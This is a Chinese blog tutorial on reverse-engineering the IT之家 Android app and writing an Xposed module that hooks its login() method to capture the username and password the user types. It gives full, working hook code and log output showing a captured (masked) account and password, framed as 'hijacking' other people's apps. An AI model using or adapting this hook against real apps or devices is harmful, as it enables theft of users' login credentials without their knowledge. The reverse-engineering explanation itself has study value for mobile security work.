Android逆向之玩转Xposed模块以劫持登录为例(实战篇)

原创 cheny  2019-05-12 11:38  阅读 56 views 次 评论 0 条
摘要:

自编自导了一款劫持登录的Xposed模块,如果仅满于破解自己的APP是多么的悲哀,毕竟市场上的app都是经过各种混淆,签名,加固等安全处理的,想劫持别人的app谈何容易。鉴于此,通过实战来帮助童鞋们提高一个新的学习高度,接下来继续搞事情,着手破解别人的app。

上一篇文章《Android逆向之玩转Xposed模块以劫持登录为例(Demo篇)》自编自导了一款劫持登录的Xposed模块,如果仅满于破解自己的APP是多么的悲哀,毕竟市场上的app都是经过各种混淆,签名,加固等安全处理的,想劫持别人的app谈何容易。鉴于此,通过实战来帮助童鞋们提高一个新的学习高度,接下来继续搞事情,着手破解别人的app。

准备食材

食材 版本 链接
《IT之家》 Android端 v6.75 点此下载

《IT之家》app(下文简称:app)是我最喜欢的国产app之一,UI设计得很优秀,不过本文要拿它开菜了,emmm...

emmm

择洗食材

将下载好的app去壳,洗净等待下锅。Excuse me???我是在写食谱吗?

其实是做应用脱壳和反编译操作。对了,app反编译这一块不是本文重点,涉及到比较复杂的知识面和过程,本文直接忽略这一过程,侧重于逆向分析和Xposed模块编写。

值得庆幸的是,这个app竟然没有加壳,我直接给反编译了。

MD,又是一段水文......

下锅爆炒

逆向分析一波,内容比较多,如果引起不适,也要看完~~~

既然要劫持登录,那就得设法找到登录有关的代码界面,我们从app的UI界面寻找突破口,观察下方登录界面:

it_home_login_ui

选定“忘记密码?”(该词一般只会在登录界面出现,而其它如“密码”关键词在注册,忘记密码等界面都有可能出现,查找难度大)作为关键词搜索一波反编译代码,结果如下:

it_home_login_layouts

嗯哼,都集中在“activity_user_center”系列文件中,是登录界面布局文件无疑。未做android开发童鞋可能会一脸懵逼,那么多文件哪个才是啊?其实它们都是同一个界面引用的,只是针对不同版本系统,主题多做了对应的适配文件,任选一个即可。

接下来对关键词“activity_user_center”搜索一波,查看布局文件被哪个代码界面所引用:

it_home_login_layouts_r_id

找到了该布局文件的资源id(java代码表示为:R.layout.activity_user_center),值为“0x7f04009f”,对其再搜一波:

it_home_login_activity_search

OK,这便是目标代码界面了。打开UserCenterActivity.smali(开发中对应为:UserCenterActivity.java)文件,对着上文的登录界面图片找到“邮箱/手机号”和“密码”编辑框控件以及登录按钮控件:

it_home_login_widgets

巧合的是它们的代码正好写在一起,很好找,不懂smali语法没关系,这里我给翻译成java代码:

      @butterknife.BindView(a=0x7f110508)
      android.widget.Button btn_user_login;
      @butterknife.BindView(a=0x7f110507)
      android.widget.EditText et_user_password;
      @butterknife.BindView(a=0x7f110504)
      android.widget.EditText et_user_username;

是不是似曾相识额?

嗯哼,接下来继续找登录按钮btn_user_login的点击事件(即用户触发登录的事件),找了一圈竟然没找到。阿西......见鬼了。

对了,它用了ButterKnife,会不会通过btn_user_login的资源id注册了点击事件?嗯,于是复制了上方java代码的资源id“0x7f110508”进行令人窒息的搜索操作:

it_home_login_event

还真找到了,简单粗暴地翻译如下:

  @OnClick(a={0x7f110508})
  public void login() {

    String v0 = et_user_username.getText().toString();
    String v1 = et_user_password.getText().toString();

    if ((!TextUtils.isEmpty(v0) && (!TextUtils.isEmpty(v1))) {
      ......
    }

    ......
  }

yicanghenshen

OK,找到该方法就是找到了需要hook的入口方法。准备撸hook代码...

添加调味料

修改上文XposedDemo项目中HookLogin类下的handleLoadPackage方法:

        public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpparam) {

        if (lpparam == null) {
            return;
        }

        Log.e(TAG, "Load app packageName:" + lpparam.packageName);

        /**
         * 过滤非目标应用
         */
        if (!"com.ruanmei.ithome".equals(lpparam.packageName)) {
            return;
        }

        //固定格式
        XposedHelpers.findAndHookMethod(
                "com.ruanmei.ithome.ui.UserCenterActivity", // 需要hook的包名+类名
                lpparam.classLoader,                            // 类加载器,固定这么写就行了
                "login",                     // 需要hook的方法名,login()
                // Hook回调
                new XC_MethodHook() {
                    @Override
                    /**
                     * 指定的方法被hook前执行下面的方法
                     */
                    protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
                        Log.e(TAG, "劫持开始了↓↓↓↓↓↓");
                    }

                    /**
                     * 指定的方法被hook后执行下面的方法
                     */
                    protected void afterHookedMethod(MethodHookParam param) throws Throwable {

                        Class o = param.thisObject.getClass();
                        Field.setAccessible(o.getDeclaredFields(), true);
                        Field usernameField = findField(o, "et_user_username");
                        Field passwordField = findField(o, "et_user_password");
                        EditText et_user_username = (EditText) usernameField.get(param.thisObject);
                        EditText et_user_password = (EditText) passwordField.get(param.thisObject);
                        String username = et_user_username.getText().toString();
                        String password = et_user_password.getText().toString();
                        Log.e(TAG, "用户名: " + username + "  , 密码 : " + password);

                        Log.e(TAG, "劫持结束了↑↑↑↑↑↑");
                    }
                }
        );
    }

代码中我们对UserCenterActivity下的“login()”方法进行hook,获取用户名和密码并做log打印,这样在用户点击登录按钮的时候就可以记录用户名和密码了。

出锅上盘

对HookLoginModule重新编译apk安装到手机并重启(若不会,请参考上一篇文章)。

尝菜品味

打开app来验证Hook代码:

it_home_login_demo

演示图做了登录操作,这里贴下log日志:

2019-05-11 23:23:52.932 27555-27555/? E/HookLogin: 劫持开始了↓↓↓↓↓↓
2019-05-11 23:23:53.005 27555-27555/? E/HookLogin: 用户名: 95***33@qq.com  , 密码 : ******
2019-05-11 23:23:53.005 27555-27555/? E/HookLogin: 劫持结束了↑↑↑↑↑↑

成功获取到了用户名和密码(涉及隐私给和谐了哈)。

上菜

So delicious!可以上菜(zhuang bi)了,实战篇到此结束!

XposedDemo下载:https://github.com/ausboyue/XposedDemo

本文地址:https://www.icheny.cn/archives/1913
关注我们:请关注一下微信公众号:扫描二维码乘月网的公众号,公众号:it_place
版权声明:本文为原创文章,版权归 cheny 所有,欢迎分享本文,转载请保留出处!
NEXT:已经是最新一篇了

发表评论


表情